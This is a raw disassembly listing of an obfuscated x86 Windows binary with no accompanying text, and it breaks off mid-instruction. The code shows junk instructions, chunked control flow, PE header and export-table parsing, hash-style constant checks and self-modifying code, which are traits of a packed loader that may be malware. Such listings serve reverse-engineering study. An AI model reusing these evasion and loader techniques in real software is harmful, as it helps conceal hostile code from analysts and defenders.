0000000A BYTES xchg edi, [esp+0] pop edi push ebx mov ebx, ebp xchg ebx, [esp+0] mov ebp, esp push ecx mov esp, ebp jmp loc_426019 sub_426671 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42387A loc_426685: ; CODE XREF: sub_42387A:loc_4270DDj ; sub_423444+3CB8j rol ecx, 1Ch add ecx, 0AE37F7A3h xchg ecx, [esp+0] jmp sub_4278DC ; END OF FUNCTION CHUNK FOR sub_42387A ; --------------------------------------------------------------------------- push eax ror eax, 11h mov ds:dword_428B04, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_4266A1: ; CODE XREF: sub_425BD2+1689j jmp nullsub_60 ; --------------------------------------------------------------------------- loc_4266A6: ; CODE XREF: sub_425BD2-1433j jmp nullsub_56 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4269BD loc_4266AB: ; CODE XREF: sub_4269BD-289Bj jmp nullsub_21 ; END OF FUNCTION CHUNK FOR sub_4269BD ; --------------------------------------------------------------------------- loc_4266B0: ; CODE XREF: hjohnhn9:00424112j jmp loc_428FDB ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4266B5 proc near ; CODE XREF: sub_4262C5j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424913 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00425D55 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426B04 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428A6C SIZE 00000012 BYTES push ebp mov ebp, esp push esi jmp loc_425D55 sub_4266B5 endp ; --------------------------------------------------------------------------- loc_4266BE: ; CODE XREF: hjohnhn9:00423E5Fj jz sub_4283C9 rol ebp, 1Eh jmp sub_427A58 ; --------------------------------------------------------------------------- loc_4266CC: ; CODE XREF: hjohnhn9:004261A6j inc dword ptr [ebp-20h] mov eax, [ebp-1Ch] cmp byte ptr [eax], 2Eh jnz loc_426F68 mov eax, [ebp-20h] jmp loc_426102 ; --------------------------------------------------------------------------- xor edx, 1B2A15EAh xor edx, edi jmp sub_428DF9 ; --------------------------------------------------------------------------- loc_4266F0: ; DATA XREF: sub_427486:loc_424E94o rol eax, 1Ah push offset sub_424A9D jmp locret_425F6D ; --------------------------------------------------------------------------- add edi, 6AE1C4D4h jmp sub_4238CC ; =============== S U B R O U T I N E ======================================= sub_426708 proc near ; CODE XREF: sub_424161-610p ; sub_4240AE+3602j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004247A4 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 004261BC SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00426311 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004264AD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426947 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00426E5A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004283D8 SIZE 00000008 BYTES jnb sub_426604 push ebp mov ebp, esp push ecx mov esp, ebp pop ebp jmp loc_4264AD sub_426708 endp ; --------------------------------------------------------------------------- loc_42671A: ; CODE XREF: hjohnhn9:loc_428B6Cj or esi, 0B73C976Fh add esi, 8457B61h mov esi, [esi] xchg esi, [esp] jmp locret_427E75 ; --------------------------------------------------------------------------- jb loc_4287BA jmp loc_42417B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_27. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425E94 loc_42673C: ; CODE XREF: sub_425E94+Aj jmp nullsub_110 ; END OF FUNCTION CHUNK FOR sub_425E94 ; =============== S U B R O U T I N E ======================================= sub_426741 proc near ; CODE XREF: sub_42774F+4p mov dword ptr [eax], 0 locret_426747: ; CODE XREF: hjohnhn9:loc_424F1Aj retn sub_426741 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_426749 proc near ; CODE XREF: sub_4284CB+18p ; FUNCTION CHUNK AT 0042373A SIZE 00000019 BYTES ; FUNCTION CHUNK AT 004281F8 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00428E46 SIZE 0000001F BYTES push ebp jmp loc_428E46 sub_426749 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42441D loc_42674F: ; CODE XREF: sub_42441D+Dj shl eax, 3 add [ebp-8], eax mov eax, [ebp-8] push offset loc_426AC3 jmp nullsub_18 ; END OF FUNCTION CHUNK FOR sub_42441D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CDB loc_426762: ; CODE XREF: sub_423CDB:loc_424BB4j mov [ebp-0Ch], eax cmp dword ptr [ebp-4], 0 jz loc_4244EE mov eax, [ebp-4] add eax, 3Ch mov eax, [eax] add eax, [ebp-4] jmp loc_425076 ; END OF FUNCTION CHUNK FOR sub_423CDB ; =============== S U B R O U T I N E ======================================= sub_42677F proc near ; CODE XREF: sub_424A28:loc_427ACFj ; sub_424A28+4492j var_14 = dword ptr -14h var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00423C56 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427F33 SIZE 00000007 BYTES push ebp push ebp mov ebp, esi xchg ebp, [esp+8+var_8] push edi push ebx push edx jmp loc_423C56 sub_42677F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427994 loc_42678E: ; CODE XREF: sub_427994-3F94j mov eax, [eax] cmp dword ptr [eax], 4550h loc_426796: ; CODE XREF: hjohnhn9:loc_426632j jnz loc_42476D jmp loc_427904 ; END OF FUNCTION CHUNK FOR sub_427994 ; --------------------------------------------------------------------------- jnb loc_427F49 jmp loc_427790 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425CB3 loc_4267AC: ; CODE XREF: sub_425CB3:loc_427B97j add ecx, 5089408Eh xor ecx, 3DE8ABC3h xchg ecx, [esp+0Ch+var_C] push eax lea eax, sub_428F4A push eax push 0 push 0 jmp loc_427860 ; END OF FUNCTION CHUNK FOR sub_425CB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42851A loc_4267CC: ; CODE XREF: sub_42851A+446j pop ecx mov eax, ds:dword_428384 or eax, eax jnz loc_423692 jmp loc_4269E6 ; END OF FUNCTION CHUNK FOR sub_42851A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428477 loc_4267E0: ; CODE XREF: sub_428477+4j cmp ds:dword_423954, 0 call sub_424631 loc_4267EC: ; CODE XREF: hjohnhn9:00426383j jmp loc_42395D ; END OF FUNCTION CHUNK FOR sub_428477 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CDB loc_4267F1: ; CODE XREF: sub_423CDB+10j jz loc_4244EE call nullsub_2 loc_4267FC: ; CODE XREF: sub_423B05+15Cj ; sub_425029:loc_4270BBj ... jo loc_426268 xor eax, eax call sub_4250C3 loc_426809: ; CODE XREF: sub_4264CF+ED3j jmp loc_426B1F ; END OF FUNCTION CHUNK FOR sub_423CDB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4237F4 loc_42680E: ; CODE XREF: sub_4237F4+45E7j rol eax, 12h push edi mov edi, eax xchg edi, [esp+0] call sub_4244F5 retn ; END OF FUNCTION CHUNK FOR sub_4237F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244F5 loc_42681D: ; CODE XREF: sub_427D6A-2C33j ; sub_4244F5:loc_425E44j ... push offset loc_424DD7 jmp nullsub_19 ; END OF FUNCTION CHUNK FOR sub_4244F5 ; =============== S U B R O U T I N E ======================================= sub_426827 proc near ; DATA XREF: sub_425BD2-1438o dec dword ptr [ebp-10h] inc dword ptr [ebp-4] call sub_426C09 locret_426832: ; CODE XREF: sub_4279C8:loc_429013j retn sub_426827 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_426833: ; CODE XREF: sub_42304F+40C5j jmp loc_4243F2 ; END OF FUNCTION CHUNK FOR sub_42304F ; --------------------------------------------------------------------------- shr eax, 17h jmp loc_4278B7 ; --------------------------------------------------------------------------- sbb edi, ebx jmp sub_426BD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427032 loc_426847: ; CODE XREF: sub_427032:loc_427E4Fj call sub_426859 jnz loc_425B24 loc_426852: ; CODE XREF: sub_426E8C:loc_42804Bj mov eax, ebx jmp loc_425B26 ; END OF FUNCTION CHUNK FOR sub_427032 ; =============== S U B R O U T I N E ======================================= sub_426859 proc near ; CODE XREF: sub_426E8C-25ABp ; sub_427032:loc_426847p ... ; FUNCTION CHUNK AT 0042898F SIZE 00000005 BYTES mov eax, [ebx+ecx] xor eax, [ebx+ecx+4] cmp eax, 7C61090Eh jmp loc_42898F sub_426859 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_28. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4275A3 loc_42686B: ; CODE XREF: sub_4275A3+Aj jmp loc_426134 ; END OF FUNCTION CHUNK FOR sub_4275A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_426870: ; CODE XREF: sub_427C9B-2D1Bj jmp nullsub_116 ; END OF FUNCTION CHUNK FOR sub_427C9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_426875: ; CODE XREF: sub_424819:loc_426B97j jnz loc_428ED0 loc_42687B: ; CODE XREF: sub_428436+5j jmp nullsub_49 ; END OF FUNCTION CHUNK FOR sub_424819 ; --------------------------------------------------------------------------- jns loc_428626 ror edx, 8 loc_426889: ; CODE XREF: hjohnhn9:004281DFj jmp loc_428ED0 ; --------------------------------------------------------------------------- loc_42688E: ; CODE XREF: hjohnhn9:loc_4249BAj mov edx, [ebp+8] or [edx-8], eax ; START OF FUNCTION CHUNK FOR sub_424631 loc_426894: ; CODE XREF: sub_428C4E:loc_425EA4j ; sub_426604:loc_428C3Fj ... jo loc_4233F8 cmp dword ptr [ebp-14h], 4 jnz loc_424F28 loc_4268A4: ; CODE XREF: hjohnhn9:00424461j mov eax, [ebp+8] jmp loc_4243ED ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- sbb esi, eax jmp sub_4264FA ; --------------------------------------------------------------------------- loc_4268B3: ; CODE XREF: hjohnhn9:00424FFBj jb loc_424DC6 inc ds:dword_4233C4 lea eax, nullsub_118 mov byte ptr [eax], 0C3h push edx push 0E3CA6C32h jmp loc_427B88 ; --------------------------------------------------------------------------- loc_4268D3: ; DATA XREF: sub_424D38+3D79o test al, al jnz loc_427BB5 ; START OF FUNCTION CHUNK FOR sub_4250FC loc_4268DB: ; CODE XREF: sub_4250FC+4j ; sub_4287BF:loc_427234j ... call sub_4248F9 loc_4268E0: ; CODE XREF: hjohnhn9:004232FDj jmp loc_423361 ; END OF FUNCTION CHUNK FOR sub_4250FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4231AD loc_4268E5: ; CODE XREF: sub_4231AD:loc_426A62j cmp al, 0C2h jz loc_427555 mov eax, [ebp-4] mov ax, [eax] jmp loc_424CEC ; END OF FUNCTION CHUNK FOR sub_4231AD ; --------------------------------------------------------------------------- loc_4268F8: ; CODE XREF: hjohnhn9:loc_42823Aj and edx, 0B238D165h or edx, 0F450CED8h add edx, 0BF17789h xchg edx, [esp] jmp loc_425E3F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4250FC loc_426912: ; CODE XREF: sub_4250FC:loc_4234A7j add eax, [esp-4+arg_0] adc edx, [esp-4+arg_4] add esp, 8 mov [ebp-4], eax jmp loc_424D4A ; END OF FUNCTION CHUNK FOR sub_4250FC ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426924 proc near ; CODE XREF: sub_4287BF-1576p ; sub_4287BF-13Bp var_28 = dword ptr -28h var_20 = dword ptr -20h ; FUNCTION CHUNK AT 004233D3 SIZE 0000000E BYTES push ebp mov ebp, esp add esp, 0FFFFFFD8h jmp loc_4233D3 sub_426924 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_42692F: ; CODE XREF: sub_424631+C1Cj or dword ptr [eax-8], 8 jmp loc_427D89 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_426938: ; CODE XREF: sub_424B4Aj ; sub_426354-17F0j cmp dword ptr [ebp-1Ch], 67h push offset sub_427805 jmp nullsub_20 ; END OF FUNCTION CHUNK FOR sub_426354 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_57. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426708 loc_426947: ; CODE XREF: sub_426708-3F1j not ebp or eax, 0F0CF36D1h mov ebx, 6289DE42h and ecx, edx or eax, 4E2FC016h jmp loc_4247A4 ; END OF FUNCTION CHUNK FOR sub_426708 ; =============== S U B R O U T I N E ======================================= sub_426961 proc near ; CODE XREF: sub_428CC9-3137p ; hjohnhn9:004265E3j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042784B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004278A0 SIZE 00000017 BYTES xchg ecx, [esp+0] pop ecx push eax push 0F195E43Ah xchg ebx, [esp+4+var_4] mov eax, ebx pop ebx or eax, 4EBD3638h jmp loc_42784B sub_426961 endp ; --------------------------------------------------------------------------- loc_42697C: ; CODE XREF: hjohnhn9:00428A56j xchg edx, [esp] jmp nullsub_1 ; --------------------------------------------------------------------------- test edi, 2A51C452h jmp loc_426C41 ; =============== S U B R O U T I N E ======================================= sub_42698F proc near ; CODE XREF: sub_423CCD+3520p ; hjohnhn9:004274C5j ; FUNCTION CHUNK AT 00426E55 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042726B SIZE 00000002 BYTES xchg edx, [esp+0] loc_426992: ; CODE XREF: hjohnhn9:0042386Fj pop edx inc dword ptr [ebp-8] loc_426996: ; CODE XREF: hjohnhn9:00423B67j ; sub_423CCD+35B6j mov eax, [ebp-8] pop ecx pop ecx jmp loc_426E55 sub_42698F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_4269A0: ; CODE XREF: sub_42325E-7Ej ; sub_42325E+42DEj and ebx, 19C6FA51h rol ebx, 14h add ebx, 8030F40Bh xchg ebx, [esp+18h+var_18] jmp sub_4279ED ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- loc_4269B7: ; CODE XREF: hjohnhn9:00428801j jns loc_4286A7 ; =============== S U B R O U T I N E ======================================= sub_4269BD proc near ; CODE XREF: sub_426924-3548p ; FUNCTION CHUNK AT 00424117 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 004266AB SIZE 00000005 BYTES xchg esi, [esp+0] pop esi mov dword ptr [ebp-14h], 4 mov eax, [ebp-14h] mov [ebp-4], eax mov eax, [ebp-14h] mov [ebp-0Ch], eax jmp loc_424117 sub_4269BD endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_4269D9: ; CODE XREF: hjohnhn9:loc_4282C9j jg near ptr dword_4236FC+35h cmp ebp, esi jmp loc_423977 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42851A loc_4269E6: ; CODE XREF: sub_42851A-1D3Fj jz loc_424E76 jmp loc_429107 ; END OF FUNCTION CHUNK FOR sub_42851A ; --------------------------------------------------------------------------- cmp eax, 22C84A22h jmp loc_424EC3 ; --------------------------------------------------------------------------- add ebp, ecx jmp sub_42466E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_426A03: ; CODE XREF: sub_424819:loc_425F9Ej jz loc_426491 loc_426A09: ; CODE XREF: hjohnhn9:00426EBFj jmp loc_427B0E ; END OF FUNCTION CHUNK FOR sub_424819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426F5A loc_426A0E: ; CODE XREF: sub_426F5A-3A5j jmp loc_42513C ; END OF FUNCTION CHUNK FOR sub_426F5A ; --------------------------------------------------------------------------- pushf or ecx, 0C756CE28h mov eax, ebx jmp loc_428AD2 ; --------------------------------------------------------------------------- ror edx, 14h jmp sub_425E94 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B19 loc_426A29: ; CODE XREF: sub_425B19+16j pop ebx retn ; END OF FUNCTION CHUNK FOR sub_425B19 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4285DF loc_426A2B: ; CODE XREF: sub_4285DF+7j jmp nullsub_76 ; END OF FUNCTION CHUNK FOR sub_4285DF ; =============== S U B R O U T I N E ======================================= sub_426A30 proc near ; CODE XREF: sub_425B19+2p ; FUNCTION CHUNK AT 00423126 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042328D SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004247B9 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 004248F1 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00426BBA SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00426FF4 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 00427179 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00427BB3 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 004288AD SIZE 0000001C BYTES push large dword ptr fs:0 mov large fs:0, esp call sub_427032 call sub_42873F mov edx, [ebx+3Ch] mov edx, [ebx+edx+80h] jmp loc_427179 sub_426A30 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_107. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D64 loc_426A58: ; CODE XREF: sub_428D64+Aj jmp loc_428D33 ; END OF FUNCTION CHUNK FOR sub_428D64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282F8 loc_426A5D: ; CODE XREF: sub_4282F8-272Bj jmp nullsub_51 ; END OF FUNCTION CHUNK FOR sub_4282F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4231AD loc_426A62: ; CODE XREF: sub_4231AD+11j jmp loc_4268E5 ; END OF FUNCTION CHUNK FOR sub_4231AD ; --------------------------------------------------------------------------- rol edi, 0Dh push ebp jmp sub_423F77 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_24. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- xchg edx, esi jmp loc_428655 ; =============== S U B R O U T I N E ======================================= sub_426A78 proc near ; CODE XREF: sub_4279C0-2FEEp ; hjohnhn9:00426F30j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00423217 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004233C8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042377B SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00423D47 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004250D5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004250EF SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00425187 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00425F15 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 00426573 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 00427436 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004276FC SIZE 00000010 BYTES ; FUNCTION CHUNK AT 004279B6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427B1B SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00428510 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428994 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428EDE SIZE 00000007 BYTES xchg edi, [esp+0] pop edi mov esp, ebp pop ebp jmp loc_4279B6 sub_426A78 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423BC3 loc_426A84: ; CODE XREF: sub_423BC3-4FBj add ebx, 0F684B8BAh loc_426A8A: ; CODE XREF: sub_4251EB-1F19j cmp ebp, ecx jmp loc_427825 ; END OF FUNCTION CHUNK FOR sub_423BC3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_12. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428DDB loc_426A92: ; CODE XREF: sub_428DDB+Ej jmp locret_428EC4 ; END OF FUNCTION CHUNK FOR sub_428DDB ; --------------------------------------------------------------------------- loc_426A97: ; DATA XREF: sub_426F85+11D3o inc eax mov [ebp-1Ch], eax mov dword ptr [ebp-18h], 0 ; START OF FUNCTION CHUNK FOR sub_427852 loc_426AA2: ; CODE XREF: sub_427852+733j mov eax, [ebp-4] mov edx, [ebp-14h] jmp loc_428F16 ; END OF FUNCTION CHUNK FOR sub_427852 ; --------------------------------------------------------------------------- loc_426AAD: ; DATA XREF: sub_424771+1o call sub_428F0B push eax push eax call sub_428E01 call sub_4265CD jmp loc_424723 ; --------------------------------------------------------------------------- loc_426AC3: ; DATA XREF: sub_42441D+233Bo shr eax, 0Bh xor [ebp-8], eax mov eax, [ebp-8] jmp loc_4240C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425029 loc_426AD1: ; CODE XREF: sub_425029:loc_425040j mov eax, [ebp-0Ch] cmp byte ptr [eax], 0 loc_426AD7: ; CODE XREF: sub_427C9B-21A5j jnz loc_423031 mov eax, [ebp-8] shl eax, 3 jmp loc_42737B ; END OF FUNCTION CHUNK FOR sub_425029 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_20. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_426AE9: ; CODE XREF: sub_42304F+437Cj jmp loc_426C4F ; END OF FUNCTION CHUNK FOR sub_42304F ; --------------------------------------------------------------------------- ror ebp, 18h jmp sub_428271 ; =============== S U B R O U T I N E ======================================= sub_426AF6 proc near ; CODE XREF: hjohnhn9:004289D6p ; hjohnhn9:00428EFDj xchg edx, [esp+0] pop edx ror eax, 7 mov ds:dword_4233A0, eax retn sub_426AF6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4266B5 loc_426B04: ; CODE XREF: sub_4266B5+23C4j jmp loc_424913 ; END OF FUNCTION CHUNK FOR sub_4266B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427810 loc_426B09: ; CODE XREF: sub_427810+10j jmp loc_4273B2 ; END OF FUNCTION CHUNK FOR sub_427810 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F77 loc_426B0E: ; CODE XREF: sub_423F77+9j jmp loc_423F91 ; END OF FUNCTION CHUNK FOR sub_423F77 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CDB loc_426B13: ; CODE XREF: sub_423CDB:loc_42886Cj jz loc_427B9C jmp loc_427449 ; END OF FUNCTION CHUNK FOR sub_423CDB ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_73. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CDB loc_426B1F: ; CODE XREF: sub_423CDB:loc_426809j pop ecx pop ecx loc_426B21: ; CODE XREF: sub_424361:loc_42702Dj pop ebp retn ; END OF FUNCTION CHUNK FOR sub_423CDB ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4237F4 loc_426B24: ; CODE XREF: sub_4237F4+6j jmp loc_427DD2 ; END OF FUNCTION CHUNK FOR sub_4237F4 ; =============== S U B R O U T I N E ======================================= sub_426B29 proc near ; CODE XREF: sub_4264CF:loc_427392p ; sub_427032:loc_427E45p ; FUNCTION CHUNK AT 00425284 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00427D8E SIZE 0000000F BYTES push ebp jmp loc_425284 sub_426B29 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4237F4 loc_426B2F: ; CODE XREF: sub_4237F4+45EDj jz loc_4243D9 jmp loc_423963 ; END OF FUNCTION CHUNK FOR sub_4237F4 ; --------------------------------------------------------------------------- loc_426B3A: ; CODE XREF: hjohnhn9:004239B3j ; hjohnhn9:004239CBj cmp dword ptr [ebp-8], 0A22F8A70h jz loc_4244EE mov eax, [ebp-0Ch] call sub_4244F5 jmp loc_426184 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_39. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42345B loc_426B55: ; CODE XREF: sub_42345B+CF3j jmp nullsub_2 ; END OF FUNCTION CHUNK FOR sub_42345B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427B7A loc_426B5A: ; CODE XREF: sub_427B7A:loc_427A79j add dword ptr [ebp-8], 4 jmp loc_42856C ; END OF FUNCTION CHUNK FOR sub_427B7A ; --------------------------------------------------------------------------- loc_426B63: ; CODE XREF: hjohnhn9:loc_426597j ; hjohnhn9:00427A73j call sub_426BD2 ; START OF FUNCTION CHUNK FOR sub_4265CD loc_426B68: ; CODE XREF: sub_4265CD-217Ej jmp loc_427FAF ; END OF FUNCTION CHUNK FOR sub_4265CD ; --------------------------------------------------------------------------- and ebx, edx mov ebp, 571DCF8Eh jmp sub_423CDB ; --------------------------------------------------------------------------- and eax, ebp jmp sub_428249 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428271 loc_426B80: ; CODE XREF: sub_428271+9j shl eax, 2 cdq js loc_424073 add eax, [esp+0] call sub_427852 loc_426B92: ; CODE XREF: sub_424A55+246j jmp loc_4286E6 ; END OF FUNCTION CHUNK FOR sub_428271 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_426B97: ; CODE XREF: sub_424819-C11j jmp loc_426875 ; END OF FUNCTION CHUNK FOR sub_424819 ; --------------------------------------------------------------------------- loc_426B9C: ; CODE XREF: hjohnhn9:00426F6Bj ; hjohnhn9:loc_427F49j mov eax, [ebp-1Ch] cmp byte ptr [eax], 0 jnz loc_42619C ; START OF FUNCTION CHUNK FOR sub_426F5A loc_426BA8: ; CODE XREF: sub_426F5A:loc_425D65j call sub_427E85 loc_426BAD: ; DATA XREF: sub_426CE6+16FCo or eax, eax jnz loc_426FC7 jmp loc_426A0E ; END OF FUNCTION CHUNK FOR sub_426F5A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A30 loc_426BBA: ; CODE XREF: sub_426A30:loc_423126j mov ecx, [ebx+ecx+78h] or ecx, ecx call sub_426E8C loc_426BC5: ; CODE XREF: sub_42790F+Dj jmp nullsub_25 ; END OF FUNCTION CHUNK FOR sub_426A30 ; --------------------------------------------------------------------------- mov ebp, edx pushf jmp sub_424946 ; =============== S U B R O U T I N E ======================================= sub_426BD2 proc near ; CODE XREF: hjohnhn9:00426842j ; hjohnhn9:loc_426B63p ; FUNCTION CHUNK AT 004235C0 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00427A69 SIZE 00000003 BYTES xchg eax, [esp+0] pop eax add dword ptr [ebp-8], 2 jmp loc_4235C0 sub_426BD2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A78 loc_426BDF: ; CODE XREF: sub_424A78:loc_424C0Cj ; sub_424A78+1B0j test byte ptr [ebp-8], 20h jz loc_428B8A push ebp loc_426BEA: ; CODE XREF: hjohnhn9:loc_42822Cj mov eax, [ebp-20h] call sub_4282F8 jmp loc_4248CB ; END OF FUNCTION CHUNK FOR sub_424A78 ; --------------------------------------------------------------------------- loc_426BF7: ; CODE XREF: hjohnhn9:004237E4j sbb esi, 0A2FC903Eh ; =============== S U B R O U T I N E ======================================= sub_426BFD proc near ; CODE XREF: hjohnhn9:0042861Cp xchg esi, [esp+0] pop esi push edx mov edx, esi call sub_424928 sub_426BFD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_426C09 proc near ; CODE XREF: sub_426827+6p ; hjohnhn9:004276E6j ; FUNCTION CHUNK AT 0042361F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424891 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425E6E SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042654D SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00428F8E SIZE 00000011 BYTES xchg ecx, [esp+0] pop ecx cmp dword ptr [ebp-10h], 0 jge loc_424788 jmp loc_424891 sub_426C09 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_426C1C proc near ; CODE XREF: hjohnhn9:00424B85j ; sub_424161+3A88p xchg ebx, [esp+0] pop ebx call sub_423CCD pop ecx mov [ebp-20h], eax jmp loc_423C90 sub_426C1C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B6C loc_426C2E: ; CODE XREF: sub_423B6C+6j mov [ebp+var_4], eax mov eax, [ebp+var_4] mov [ebp+var_8], eax push offset loc_4235B0 loc_426C3C: ; CODE XREF: hjohnhn9:loc_42417Bj jmp 